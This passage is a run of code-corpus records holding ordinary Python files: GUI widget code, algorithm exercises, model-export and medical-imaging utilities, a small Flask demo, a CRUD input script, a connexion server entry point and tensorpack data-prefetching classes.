self.grid.GetTable()\n obj = gt.GetTreeDict()\n names = get_varlist(obj)\n if len(names) < row:\n return\n name = (get_varlist(obj))[row]\n name = gt.get_row_name(row)\n val = obj.getvar(name)\n txt = str(val)\n\n from ifigure.utils.cbook import isstringlike\n if (isstringlike(val) and not val.startswith('=')):\n txt = '\"'+txt+'\"'\n\n if txt.startswith('='):\n self.ct1.SetValue(txt[1:])\n self.bx1.SetValue(True)\n else:\n self.ct1.SetValue(txt)\n self.bx1.SetValue(False)\n","repo_name":"piScope/piScope","sub_path":"python/ifigure/widgets/var_viewerg2.py","file_name":"var_viewerg2.py","file_ext":"py","file_size_in_byte":30190,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"75"} +{"seq_id":"31265040730","text":"from collections import deque\n\ndef bfs(S, T):\n q = deque()\n q.append((S, T, 0))\n while q:\n hit, hurt, cnt = q.popleft()\n #내가때린게 맞은거보다 더 작을동안\n if hit <= hurt :\n # 내가 맞은거 *2, 타격+3 발차기횟수 + 1\n q.append((hit*2, hurt+3, cnt+1))\n # 내가 맞은거 +1, 발차기횟수 + 1\n print(q, \" doubleattack\" )\n q.append((hit+1, hurt, cnt+1))\n print(q, \"singleattack\")\n\n if hit == hurt:\n return cnt\n\nC = int(input())\nfor _ in range(C):\n S,T = map(int, input().split())\n print(bfs(S,T))\n\n# 10 20\n# 20 23\n# 21\n# 22\n# 23\n# 15 62\n# 30 65\n# 60 68\n\n","repo_name":"gaetaegoo/Python-Study-Algorithm","sub_path":"baekjoon/14562/김지명.py","file_name":"김지명.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19673168999","text":"import os.path\r\nfrom datetime import datetime\r\n\r\n\r\ndef open_py_file(f_name):\r\n \"\"\"\r\n :param f_name: name of the .py file (with extension)\r\n :return: a new file with as many (1) as needed to not already exist\r\n \"\"\"\r\n try:\r\n f = open(f_name, \"x\")\r\n return f, f_name\r\n except IOError:\r\n return open_py_file(f_name[:-3] + \"(1)\" + f_name[-3:])\r\n\r\n\r\ndef save_py_func(model, input_pi_names, workdir, chosen_pi_set, physical_params):\r\n \"\"\"\r\n Parameters\r\n ----------\r\n model: Current regression model (full expression as a string)\r\n input_pi_names: Names of the input pi\r\n workdir: Current work directory\r\n chosen_pi_set: Current chosen pi set (PositiveParameterSet)\r\n physical_params: Defined physical parameters (PositiveParameterSet)\r\n\r\n Returns\r\n -------\r\n\r\n \"\"\"\r\n now = datetime.now()\r\n dt_string = now.strftime(\"_%d%m%y_%H%M%S\")\r\n name_date = \"pyvplm_model\" + dt_string + \".py\"\r\n f, f_name = open_py_file(os.path.join(workdir, name_date))\r\n f_str = '\"\"\"\\n' + str(physical_params) + \"\\n\" + str(chosen_pi_set) + '\\n\"\"\"\\n\\n'\r\n parameters = []\r\n for inp in input_pi_names:\r\n if inp in model:\r\n parameters.append(inp)\r\n if \"log(\" in model:\r\n f_str += \"from numpy import log10 as log\\n\\n\"\r\n add_str, parameters = add_constants(parameters, chosen_pi_set)\r\n f_str += add_str\r\n param_str = \"\"\r\n if parameters:\r\n for param in parameters:\r\n param_str += param + \", \"\r\n param_str = param_str[:-2]\r\n f_str += f\"def pyvplm_model({param_str}):\\n\"\r\n f_str += warning_constraints(parameters, chosen_pi_set)\r\n output = model.split('=')[0].strip()\r\n output = output.replace(\"log(\", \"\")\r\n output = output.replace(\")\", \"\")\r\n f_str += f\" log10_{output} = {model.split('=')[1]}\\n\"\r\n f_str += f\" {output} = 10**log10_{output}\\n\"\r\n f_str += f\" return {output}\\n\"\r\n f.write(f_str)\r\n f.close()\r\n os.system(f\"black {f_name}\")\r\n else:\r\n add_str, parameters = add_constants(parameters, chosen_pi_set)\r\n f_str += add_str\r\n param_str = \"\"\r\n if parameters:\r\n for param in parameters:\r\n param_str += param + \", \"\r\n param_str = param_str[:-2]\r\n f_str += f\"def pyvplm_model({param_str}):\\n\"\r\n f_str += warning_constraints(parameters, chosen_pi_set)\r\n f_str += f\" {model}\\n\"\r\n f_str += f\" return {model.split('=')[0].strip()}\\n\"\r\n f.write(f_str)\r\n f.close()\r\n os.system(f\"black {f_name}\")\r\n return f_name\r\n\r\n\r\ndef warning_constraints(parameters, chosen_pi_set):\r\n \"\"\"\r\n Parameters\r\n ----------\r\n parameters: Names of the input pi numbers used in the py function\r\n chosen_pi_set: Current chosen pi set (PositiveParameterSet)\r\n\r\n Returns Adds warnings if the input pi numbers are out of bounds\r\n -------\r\n\r\n \"\"\"\r\n f_str = \"\"\r\n for name in parameters:\r\n pi = chosen_pi_set[name]\r\n bounds = pi.defined_bounds\r\n if len(bounds) == 2:\r\n f_str += f\" if {bounds[0]} > {name} or {name} > {bounds[1]}:\\n\" \\\r\n f\" print('Warning: {name} out of bounds, model is out of its validity domain')\\n\"\r\n return f_str\r\n\r\n\r\ndef add_constants(parameters, chosen_pi_set):\r\n \"\"\"\r\n Parameters\r\n ----------\r\n parameters: Names of the input pi numbers used in the py function\r\n chosen_pi_set: Current chosen pi set (PositiveParameterSet)\r\n\r\n Returns Function to support constant pi numbers\r\n -------\r\n\r\n \"\"\"\r\n f_str = \"# Constant(s):\\n\\n\"\r\n const = False\r\n new_parameters = parameters\r\n for name in parameters:\r\n pi = chosen_pi_set[name]\r\n bounds = pi.defined_bounds\r\n value = pi.value\r\n if len(bounds) != 2:\r\n f_str += f\"{name} = {value[0]}\\n\"\r\n new_parameters.remove(name)\r\n const = True\r\n if const:\r\n return f_str, new_parameters\r\n else:\r\n return \"\", new_parameters\r\n","repo_name":"ArthurAmmeux/pyVPLM-GUI","sub_path":"pyvplm/gui/save_py_func.py","file_name":"save_py_func.py","file_ext":"py","file_size_in_byte":4111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24744160699","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nfrom typing import List, Union\n\nimport numpy as np\n\n\ndef get_neighbour_direction(d=1.8,\n distance=\"euclidian\",\n centre=False,\n complete=False,\n dim3=True) -> np.ndarray:\n \"\"\"Defines transitions to neighbour voxels.\n\n Note:\n This code was adapted from the in-house radiomics software created at\n OncoRay, Dresden, Germany.\n\n Args:\n d (float, optional): Max ``distance`` between voxels.\n distance (str, optional): Distance norm used to compute distances. must be\n \"manhattan\", \"l1\", \"l_1\", \"euclidian\", \"l2\", \"l_2\", \"chebyshev\", \"linf\" or \"l_inf\".\n centre (bool, optional): Flags whether the [0,0,0] direction should be included\n complete(bool, optional): Flags whether all directions should be computed (True)\n or just the primary ones (False). For example, including [0,0,1] and [0,0,-1]\n directions may lead to redundant texture matrices.\n dim3(bool, optional): flags whether full 3D (True) or only in-slice (2D; False)\n directions should be considered.\n\n Returns:\n ndarray: set of k neighbour direction vectors.\n \"\"\"\n\n # Base transition vector\n trans = np.arange(start=-np.ceil(d), stop=np.ceil(d)+1)\n n = np.size(trans)\n\n # Build transition array [x,y,z]\n nbrs = np.array([rep(x=trans, each=n * n, times=1),\n rep(x=trans, each=n, times=n),\n rep(x=trans, each=1, times=n * n)], dtype=np.int32)\n\n # Initiate maintenance index\n index = np.zeros(np.shape(nbrs)[1], dtype=bool)\n\n # Remove neighbours more than distance d from the center ----------------\n\n # Manhattan distance\n if distance.lower() in [\"manhattan\", \"l1\", \"l_1\"]:\n index = np.logical_or(index, np.sum(np.abs(nbrs), axis=0) <= d)\n # Eucldian distance\n if distance.lower() in [\"euclidian\", \"l2\", \"l_2\"]:\n index = np.logical_or(index, np.sqrt(\n np.sum(np.multiply(nbrs, nbrs), axis=0)) <= d)\n # Chebyshev distance\n if distance.lower() in [\"chebyshev\", \"linf\", \"l_inf\"]:\n index = np.logical_or(index, np.max(np.abs(nbrs), axis=0) <= d)\n\n # Check if centre voxel [0,0,0] should be maintained; False indicates removal\n if centre is False:\n index = np.logical_and(index, (np.sum(np.abs(nbrs), axis=0)) > 0)\n\n # Check if a complete neighbourhood should be returned\n # False indicates that only half of the vectors are returned\n if complete is False:\n index[np.arange(start=0, stop=len(index)//2 + 1)] = False\n\n # Check if neighbourhood should be 3D or 2D\n if dim3 is False:\n index[nbrs[2, :] != 0] = False\n\n return nbrs[:, index]\n\n\ndef rep(x: np.ndarray,\n each=1,\n times=1) -> np.ndarray:\n \"\"\"Replicates the values in ``x``.\n Replicates the :func:`\"rep\"` function found in R for tiling and repeating vectors.\n\n Note:\n Code was adapted from the in-house radiomics software created at OncoRay,\n Dresden, Germany.\n\n Args:\n x (ndarray): Array to replicate.\n each (int): Integer (non-negative) giving the number of times to repeat\n each element of the passed array.\n times (int): Integer (non-negative). Each element of ``x`` is repeated each times.\n\n Returns:\n ndarray: Array with same values but replicated.\n \"\"\"\n\n each = int(each)\n times = int(times)\n\n if each > 1:\n x = np.repeat(x, repeats=each)\n\n if times > 1:\n x = np.tile(x, reps=times)\n\n return x\n\ndef get_value(x: np.ndarray,\n index: int,\n replace_invalid=True) -> np.ndarray:\n \"\"\"Retrieves intensity values from an image intensity table used for computing\n texture features.\n\n Note:\n Code was adapted from the in-house radiomics software created at OncoRay,\n Dresden, Germany.\n\n Args:\n x (ndarray): set of intensity values.\n index (int): Index to the provided set of intensity values.\n replace_invalid (bool, optional): If True, invalid indices will be replaced\n by a placeholder \"NaN\" value.\n\n Returns:\n ndarray: Array of the intensity values found at the requested indices.\n\n \"\"\"\n\n # Initialise placeholder\n read_x = np.zeros(np.shape(x))\n\n # Read variables for valid indices\n read_x[index >= 0] = x[index[index >= 0]]\n\n if replace_invalid:\n # Set variables for invalid indices to nan\n read_x[index < 0] = np.nan\n\n # Set variables for invalid initial indices to nan\n read_x[np.isnan(x)] = np.nan\n\n return read_x\n\n\ndef coord2index(x: np.ndarray,\n y: np.ndarray,\n z: np.ndarray,\n dims: Union[List, np.ndarray]) -> Union[np.ndarray,\n List]:\n \"\"\"Translate requested coordinates to row indices in image intensity tables.\n\n Note:\n Code was adapted from the in-house radiomics software created at OncoRay,\n Dresden, Germany.\n\n Args:\n x (ndarray): set of discrete x-coordinates.\n y (ndarray): set of discrete y-coordinates.\n z (ndarray): set of discrete z-coordinates.\n dims (ndarray or List): dimensions of the image.\n\n Returns:\n ndarray or List: Array or List of indexes corresponding the requested coordinates\n\n \"\"\"\n\n # Translate coordinates to indices\n index = z + y * dims[2] + x * dims[2] * dims[1]\n\n # Mark invalid transitions\n index[np.logical_or(x < 0, x >= dims[0])] = -99999\n index[np.logical_or(y < 0, y >= dims[1])] = -99999\n index[np.logical_or(z < 0, z >= dims[2])] = -99999\n\n return index\n\n\ndef is_list_all_none(x: List) -> bool:\n \"\"\"Determines if all list elements are None.\n\n Args:\n x (List): List of elements to check.\n\n Returns:\n bool: True if all elemets in `x` are None.\n\n \"\"\"\n return all(y is None for y in x)\n","repo_name":"MahdiAll99/MEDimage","sub_path":"MEDimage/utils/textureTools.py","file_name":"textureTools.py","file_ext":"py","file_size_in_byte":6162,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"10526224804","text":"\"\"\"167.两数之和\n给定一个已按照 升序排列 的整数数组numbers ,请你从数组中找出两个数满足相加之和等于目标数target 。函数应该以长度为 2 的整数数组的形式返回\n这两个数的下标值。numbers 的下标 从 1 开始计数 ,所以答案数组应当满足 1 <= answer[0] < answer[1] <= numbers.length 。\n你可以假设每个输入只对应唯一的答案,而且你不可以重复使用相同的元素。\n\"\"\"\nfrom typing import List\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n left ,right = 0 ,len(numbers)-1\n while left < right :\n sum = numbers[left] + numbers[right]\n if sum == target:\n return [left+1,right+1]\n elif sum < target:\n left += 1\n else:\n right -= 1\n # 没有找到\n return [-1,-1]","repo_name":"zyp19/leetcode1","sub_path":"nums数组/167..两数之和Ⅱ.py","file_name":"167..两数之和Ⅱ.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26086909172","text":"from flask import Flask\nfrom flask import render_template\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n #assert 0\n return 'Click me!'\n\n# adding a new page\n@app.route('/scott_rules')\ndef scott_rules():\n content = ''\n # generate some content\n for i in xrange(1000):\n content += 'scott rules! '\n return render_template('template.html', content=content)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8085, debug=True)","repo_name":"scottlittle/intro2python","sub_path":"problems/code/webapp2/scottrules.py","file_name":"scottrules.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22330824364","text":"#A ideia do algoritmo, é simular o cadastro de um cliente/usuario \n#APF, verificar valores duplicados quando for inserir\n\ndef criar_nome():\n nome = []\n\n nome_ = input('Digite seu nome: ')\n copia_nome = nome_\n nome_ = nome_.split()\n \n for partes_nome in nome_:\n if partes_nome.isalpha() == True:\n boleana = True\n else:\n boleana = False\n break\n\n if boleana == True:\n nome.append(copia_nome)\n else:\n print('\\u001b[31m'+'Nome incorreto, digite novamente!'+'\\u001b[37m')\n temp = criar_nome()\n temp = temp[0]\n nome.append(temp) \n \n return nome\n\n\ndef criar_cpf():\n cpf = []\n\n cpf_ = input('Digite seu CPF(somente números/sem espaços): ')\n\n if cpf_.isnumeric() == True:\n boleana = True\n else:\n boleana = False\n \n if boleana == True:\n cpf.append(cpf_) \n else:\n print('\\u001b[31m'+'CPF incorreto, digite novamente!'+'\\u001b[37m')\n temp = criar_cpf()\n temp = temp[0]\n cpf.append(temp) \n\n return cpf\n\n\ndef criar_email():\n email = []\n\n email_ = input('Digite seu email: ')\n\n if email_.find('@') != -1:\n boleana = True\n else:\n boleana = False\n\n if boleana == True:\n email.append(email_)\n else:\n print('\\u001b[31m'+'Email incorreto, digite novamente!'+'\\u001b[37m')\n temp = criar_email()\n temp = temp[0]\n email.append(temp) \n \n return email\n\n\ndef criar_telefone():\n telefone = []\n\n telefone_ = input('Digite seu Telefone(somente números/sem espaços): ')\n\n if telefone_.isnumeric() == True:\n boleana = True\n else:\n boleana = False\n\n if boleana == True:\n telefone.append(telefone_)\n else:\n print('\\u001b[31m'+'Telefone incorreto, digite novamente!'+'\\u001b[37m')\n temp = criar_telefone()\n temp = temp[0]\n telefone.append(temp)\n \n return telefone\n\n\ndef cadastrar():\n nome = criar_nome()\n cpf = criar_cpf()\n email = criar_email()\n telefone = criar_telefone()\n\n return nome,cpf,email,telefone \n \n\ndef atualizar():\n print('Opções de atualização:\\n1 - Nome;\\n2 - CPF;\\n3 - Email;\\n4 - Telefone;\\n')\n opcao = input('Digite a opção desejada: ')\n \n if opcao == '1':\n antigo_nome = input('Digite o antigo nome: ')\n novo_nome = input('Digite o novo nome: ')\n dados_ = novo_nome,antigo_nome,'nome'\n elif opcao == '2':\n antigo_cpf = input('Digite o antigo CPF: ')\n novo_cpf = input('Digite o novo CPF: ')\n dados_ = novo_cpf,antigo_cpf,'cpf'\n elif opcao == '3':\n antigo_email = input('Digite o antigo email: ')\n novo_email = input('Digite o novo email: ')\n dados_ = novo_email,antigo_email,'email'\n elif opcao == '4':\n antigo_tel = input('Digite o antigo telefone: ')\n novo_tel = input('Digite o novo telefone: ')\n dados_ = novo_tel,antigo_tel,'telefone'\n\n return dados_\n\n\ndef deletar():\n cpf_usuario = input('Digite o CPF do usuário que deseja apagar: ')\n return cpf_usuario\n\n ","repo_name":"PedroCarpe/CRUD-Python","sub_path":"codigo_python.py","file_name":"codigo_python.py","file_ext":"py","file_size_in_byte":3154,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9785643592","text":"#!/usr/bin/env python3\n\nimport connexion\n\nfrom openapi_server import encoder\nfrom openapi_server.decorator.decorator import before_request_callback, after_request_callback\n\n\ndef main():\n app = connexion.App(__name__, specification_dir='./openapi/')\n app.app.json_encoder = encoder.JSONEncoder\n app.add_api('openapi.yaml',\n arguments={'title': 'GoGretzky API'},\n pythonic_params=True)\n app.app.before_request(before_request_callback)\n app.app.after_request(after_request_callback)\n app.run(port=8080)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"indykite/GoHockey-Back","sub_path":"openapi_server/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31172106537","text":"# -*- coding: UTF-8 -*-\n# File: prefetch.py\n# Author: Yuxin Wu \n\nfrom __future__ import print_function\nimport threading\nfrom contextlib import contextmanager\nimport multiprocessing as mp\nimport itertools\nfrom six.moves import range, zip, queue\nimport errno\nimport uuid\nimport os\nimport zmq\n\nfrom .base import DataFlow, ProxyDataFlow, DataFlowTerminated, DataFlowReentrantGuard\nfrom ..utils.concurrency import (ensure_proc_terminate,\n mask_sigint, start_proc_mask_signal,\n StoppableThread)\nfrom ..utils.serialize import loads, dumps\nfrom ..utils import logger\nfrom ..utils.gpu import change_gpu\n\n__all__ = ['PrefetchData', 'PrefetchDataZMQ', 'PrefetchOnGPUs',\n 'ThreadedMapData', 'MultiThreadMapData',\n 'MultiProcessMapData', 'MultiProcessMapDataZMQ']\n\n\ndef _repeat_iter(get_itr):\n while True:\n for x in get_itr():\n yield x\n\n\ndef _bind_guard(sock, name):\n try:\n sock.bind(name)\n except zmq.ZMQError:\n logger.error(\n \"ZMQError in socket.bind(). Perhaps you're \\\n using pipes on a non-local file system. See documentation of PrefetchDataZMQ for more information.\")\n raise\n\n\ndef _get_pipe_name(name):\n pipedir = os.environ.get('TENSORPACK_PIPEDIR', '.')\n assert os.path.isdir(pipedir), pipedir\n pipename = \"ipc://{}/{}-pipe-\".format(pipedir.rstrip('/'), name) + str(uuid.uuid1())[:6]\n return pipename\n\n\n@contextmanager\ndef _zmq_catch_error(name):\n try:\n yield\n except zmq.ContextTerminated:\n logger.info(\"[{}] Context terminated.\".format(name))\n raise DataFlowTerminated()\n except zmq.ZMQError as e:\n if e.errno == errno.ENOTSOCK: # socket closed\n logger.info(\"[{}] Socket closed.\".format(name))\n raise DataFlowTerminated()\n else:\n raise\n except Exception:\n raise\n\n\nclass _MultiProcessZMQDataFlow(DataFlow):\n def __init__(self, ds):\n assert os.name != 'nt', \"ZMQ IPC doesn't support windows!\"\n self._reset_done = False\n self._procs = []\n\n self.ds = ds\n try:\n self._size = ds.size()\n except NotImplementedError:\n self._size = -1\n\n def size(self):\n return self.ds.size()\n\n def reset_state(self):\n \"\"\"\n All forked dataflows are reset **once and only once** in spawned processes.\n Nothing more can be done when calling this method.\n \"\"\"\n if self._reset_done:\n return\n self._reset_done = True\n\n # __del__ not guranteed to get called at exit\n import atexit\n atexit.register(lambda x: x.__del__(), self)\n\n self._reset_once() # build processes\n\n def _reset_once(self):\n pass\n\n def _start_processes(self):\n start_proc_mask_signal(self._procs)\n\n def __del__(self):\n if not self._reset_done:\n return\n if not self.context.closed:\n self.context.destroy(0)\n for x in self._procs:\n x.terminate()\n try:\n print(\"{} successfully cleaned-up.\".format(type(self).__name__))\n except Exception:\n pass\n\n\nclass PrefetchData(ProxyDataFlow):\n \"\"\"\n Prefetch data from a DataFlow using Python multiprocessing utilities.\n It will fork the process calling :meth:`__init__`, collect datapoints from `ds` in each\n process by a Python :class:`multiprocessing.Queue`.\n\n Note:\n 1. An iterator cannot run faster automatically -- what's happenning is\n that the underlying dataflow will be forked ``nr_proc`` times.\n As a result, we have the following guarantee on the dataflow correctness:\n\n a. When ``nr_proc=1``, the dataflow produces the same data as ``ds`` in the same order.\n b. When ``nr_proc>1``, the dataflow produces the same distribution\n of data as ``ds`` if each sample from ``ds`` is i.i.d. (e.g. fully shuffled).\n You probably only want to use it for training.\n 2. This is significantly slower than :class:`PrefetchDataZMQ` when data is large.\n 3. When nesting like this: ``PrefetchDataZMQ(PrefetchData(df, nr_proc=a), nr_proc=b)``.\n A total of ``a`` instances of ``df`` worker processes will be created.\n This is different from the behavior of :class:`PrefetchDataZMQ`\n 4. `reset_state()` is a no-op. The worker processes won't get called.\n \"\"\"\n\n class _Worker(mp.Process):\n def __init__(self, ds, queue):\n super(PrefetchData._Worker, self).__init__()\n self.ds = ds\n self.queue = queue\n\n def run(self):\n # reset all ds so each process will produce different data\n self.ds.reset_state()\n while True:\n for dp in self.ds.get_data():\n self.queue.put(dp)\n\n def __init__(self, ds, nr_prefetch, nr_proc):\n \"\"\"\n Args:\n ds (DataFlow): input DataFlow.\n nr_prefetch (int): size of the queue to hold prefetched datapoints.\n nr_proc (int): number of processes to use.\n \"\"\"\n super(PrefetchData, self).__init__(ds)\n try:\n self._size = ds.size()\n except NotImplementedError:\n self._size = -1\n self.nr_proc = nr_proc\n self.nr_prefetch = nr_prefetch\n self._guard = DataFlowReentrantGuard()\n\n if nr_proc > 1:\n logger.info(\"[PrefetchData] Will fork a dataflow more than one times. \"\n \"This assumes the datapoints are i.i.d.\")\n\n self.queue = mp.Queue(self.nr_prefetch)\n self.procs = [PrefetchData._Worker(self.ds, self.queue)\n for _ in range(self.nr_proc)]\n ensure_proc_terminate(self.procs)\n start_proc_mask_signal(self.procs)\n\n def get_data(self):\n with self._guard:\n for k in itertools.count():\n if self._size > 0 and k >= self._size:\n break\n dp = self.queue.get()\n yield dp\n\n def reset_state(self):\n # do nothing. all ds are reset once and only once in spawned processes\n pass\n\n\nclass PrefetchDataZMQ(_MultiProcessZMQDataFlow):\n \"\"\"\n Prefetch data from a DataFlow using multiple processes, with ZeroMQ for\n communication.\n It will fork the calling process of :meth:`reset_state()`,\n and collect datapoints from `ds` in each process by ZeroMQ IPC pipe.\n\n Note:\n 1. An iterator cannot run faster automatically -- what's happenning is\n that the underlying dataflow will be forked ``nr_proc`` times.\n As a result, we have the following guarantee on the dataflow correctness:\n\n a. When ``nr_proc=1``, the dataflow produces the same data as ``ds`` in the same order.\n b. When ``nr_proc>1``, the dataflow produces the same distribution\n of data as ``ds`` if each sample from ``ds`` is i.i.d. (e.g. fully shuffled).\n You probably only want to use it for training.\n 2. The fork of proesses happened in the `reset_state()` method.\n Please note that forking a TensorFlow GPU session may be unsafe.\n If you're managing this dataflow on your own,\n it's better to fork before creating the session.\n 3. After the fork has happened, this dataflow becomes not fork-safe.\n i.e., if you fork an already reset instance of this dataflow,\n it won't be usable in the forked process.\n 4. Calling `reset_state()` more than once is a no-op, i.e. the worker processes won't get called.\n 5. When nesting like this: ``PrefetchDataZMQ(PrefetchDataZMQ(df, nr_proc=a), nr_proc=b)``.\n A total of ``a * b`` instances of ``df`` worker processes will be created.\n Also in this case, some zmq pipes cannot be cleaned at exit.\n 6. By default, a UNIX named pipe will be created in the current directory.\n However, certain non-local filesystem such as NFS/GlusterFS/AFS doesn't always support pipes.\n You can change the directory by ``export TENSORPACK_PIPEDIR=/other/dir``.\n In particular, you can use somewhere under '/tmp' which is usually local.\n\n Note that some non-local FS may appear to support pipes and code\n may appear to run but crash with bizarre error.\n Also note that ZMQ limits the maximum length of pipe path.\n If you hit the limit, you can set the directory to a softlink\n which points to a local directory.\n \"\"\"\n\n class _Worker(mp.Process):\n def __init__(self, ds, conn_name, hwm):\n super(PrefetchDataZMQ._Worker, self).__init__()\n self.ds = ds\n self.conn_name = conn_name\n self.hwm = hwm\n\n def run(self):\n self.ds.reset_state()\n context = zmq.Context()\n socket = context.socket(zmq.PUSH)\n socket.set_hwm(self.hwm)\n socket.connect(self.conn_name)\n try:\n while True:\n for dp in self.ds.get_data():\n socket.send(dumps(dp), copy=False)\n # sigint could still propagate here, e.g. when nested\n except KeyboardInterrupt:\n pass\n\n def __init__(self, ds, nr_proc=1, hwm=50):\n \"\"\"\n Args:\n ds (DataFlow): input DataFlow.\n nr_proc (int): number of processes to use.\n hwm (int): the zmq \"high-water mark\" (queue size) for both sender and receiver.\n \"\"\"\n super(PrefetchDataZMQ, self).__init__(ds)\n\n self.nr_proc = nr_proc\n self._hwm = hwm\n\n self._guard = DataFlowReentrantGuard()\n if nr_proc > 1:\n logger.info(\"[PrefetchDataZMQ] Will fork a dataflow more than one times. \"\n \"This assumes the datapoints are i.i.d.\")\n\n def _recv(self):\n return loads(self.socket.recv(copy=False).bytes)\n\n def get_data(self):\n with self._guard, _zmq_catch_error('PrefetchDataZMQ'):\n for k in itertools.count():\n if self._size > 0 and k >= self._size:\n break\n yield self._recv()\n\n def _reset_once(self):\n self.context = zmq.Context()\n self.socket = self.context.socket(zmq.PULL)\n self.socket.set_hwm(self._hwm)\n pipename = _get_pipe_name('dataflow')\n _bind_guard(self.socket, pipename)\n\n self._procs = [PrefetchDataZMQ._Worker(self.ds, pipename, self._hwm)\n for _ in range(self.nr_proc)]\n self._start_processes()\n\n\nclass PrefetchOnGPUs(PrefetchDataZMQ):\n \"\"\"\n Similar to :class:`PrefetchDataZMQ`,\n but prefetch with each process having its own ``CUDA_VISIBLE_DEVICES`` variable\n mapped to one GPU.\n \"\"\"\n\n def __init__(self, ds, gpus):\n \"\"\"\n Args:\n ds (DataFlow): input DataFlow.\n gpus (list[int]): list of GPUs to use. Will also start this number of processes.\n \"\"\"\n self.gpus = gpus\n super(PrefetchOnGPUs, self).__init__(ds, len(gpus))\n\n def _start_processes(self):\n with mask_sigint():\n for gpu, proc in zip(self.gpus, self._procs):\n with change_gpu(gpu):\n proc.start()\n\n\nclass MultiThreadMapData(ProxyDataFlow):\n \"\"\"\n Same as :class:`MapData`, but start threads to run the mapping function.\n This is useful when the mapping function is the bottleneck, but you don't\n want to start processes for the entire dataflow pipeline.\n\n Note:\n 1. There is tiny communication overhead with threads, but you\n should avoid starting many threads in your main process to reduce GIL contention.\n\n The threads will only start in the process which calls :meth:`reset_state()`.\n Therefore you can use ``PrefetchDataZMQ(MultiThreadMapData(...), 1)``\n to reduce GIL contention.\n\n 2. Threads run in parallel and can take different time to run the\n mapping function. Therefore the order of datapoints won't be\n preserved, and datapoints from one pass of `df.get_data()` might get\n mixed with datapoints from the next pass.\n\n You can use **strict mode**, where `MultiThreadMapData.get_data()`\n is guranteed to produce the exact set which `df.get_data()`\n produces. Although the order of data still isn't preserved.\n \"\"\"\n class _Worker(StoppableThread):\n def __init__(self, inq, outq, evt, map_func):\n super(MultiThreadMapData._Worker, self).__init__(evt)\n self.inq = inq\n self.outq = outq\n self.func = map_func\n self.daemon = True\n\n def run(self):\n try:\n while True:\n dp = self.queue_get_stoppable(self.inq)\n if self.stopped():\n return\n # cannot ignore None here. will lead to unsynced send/recv\n self.outq.put(self.func(dp))\n except Exception:\n if self.stopped():\n pass # skip duplicated error messages\n else:\n raise\n finally:\n self.stop()\n\n def __init__(self, ds, nr_thread, map_func, buffer_size=200, strict=False):\n \"\"\"\n Args:\n ds (DataFlow): the dataflow to map\n nr_thread (int): number of threads to use\n map_func (callable): datapoint -> datapoint | None\n buffer_size (int): number of datapoints in the buffer\n strict (bool): use \"strict mode\", see notes above.\n \"\"\"\n super(MultiThreadMapData, self).__init__(ds)\n\n self._strict = strict\n self.nr_thread = nr_thread\n self.buffer_size = buffer_size\n self.map_func = map_func\n self._threads = []\n self._evt = None\n\n def reset_state(self):\n super(MultiThreadMapData, self).reset_state()\n if self._threads:\n self._threads[0].stop()\n for t in self._threads:\n t.join()\n\n self._in_queue = queue.Queue()\n self._out_queue = queue.Queue()\n self._evt = threading.Event()\n self._threads = [MultiThreadMapData._Worker(\n self._in_queue, self._out_queue, self._evt, self.map_func)\n for _ in range(self.nr_thread)]\n for t in self._threads:\n t.start()\n\n self._iter = self.ds.get_data()\n self._guard = DataFlowReentrantGuard()\n\n # only call once, to ensure inq+outq has a total of buffer_size elements\n self._fill_buffer()\n\n def _fill_buffer(self):\n n = self.buffer_size - self._in_queue.qsize() - self._out_queue.qsize()\n assert n >= 0, n\n if n == 0:\n return\n try:\n for _ in range(n):\n self._in_queue.put(next(self._iter))\n except StopIteration:\n logger.error(\"[MultiThreadMapData] buffer_size cannot be larger than the size of the DataFlow!\")\n raise\n\n def _recv(self):\n ret = self._out_queue.get()\n if ret is None:\n assert not self._strict, \\\n \"[MultiThreadMapData] Map function cannot return None when strict mode is used.\"\n return ret\n\n def get_data(self):\n with self._guard:\n for dp in self._iter:\n self._in_queue.put(dp)\n yield self._recv()\n\n self._iter = self.ds.get_data()\n if self._strict:\n # first call get() to clear the queues, then fill\n for k in range(self.buffer_size):\n dp = self._recv()\n if k == self.buffer_size - 1:\n self._fill_buffer()\n yield dp\n else:\n for _ in range(self.buffer_size):\n self._in_queue.put(next(self._iter))\n yield self._recv()\n\n def __del__(self):\n if self._evt is not None:\n self._evt.set()\n for p in self._threads:\n p.join()\n\n\n# TODO deprecated\nThreadedMapData = MultiThreadMapData\n\n\nclass MultiProcessMapDataZMQ(_MultiProcessZMQDataFlow):\n \"\"\"\n Same as :class:`MapData`, but start processes to run the mapping function,\n and communicate with ZeroMQ pipe.\n \"\"\"\n class _Worker(mp.Process):\n def __init__(self, identity, map_func, pipename, hwm):\n super(MultiProcessMapDataZMQ._Worker, self).__init__()\n self.identity = identity\n self.map_func = map_func\n self.pipename = pipename\n self.hwm = hwm\n\n def run(self):\n ctx = zmq.Context()\n socket = ctx.socket(zmq.DEALER)\n socket.setsockopt(zmq.IDENTITY, self.identity)\n socket.set_hwm(self.hwm)\n socket.connect(self.pipename)\n\n while True:\n dp = loads(socket.recv(copy=False).bytes)\n dp = self.map_func(dp)\n socket.send(dumps(dp), copy=False)\n\n def __init__(self, ds, nr_proc, map_func, buffer_size=200):\n \"\"\"\n Args:\n ds (DataFlow): the dataflow to map\n nr_proc(int): number of threads to use\n map_func (callable): datapoint 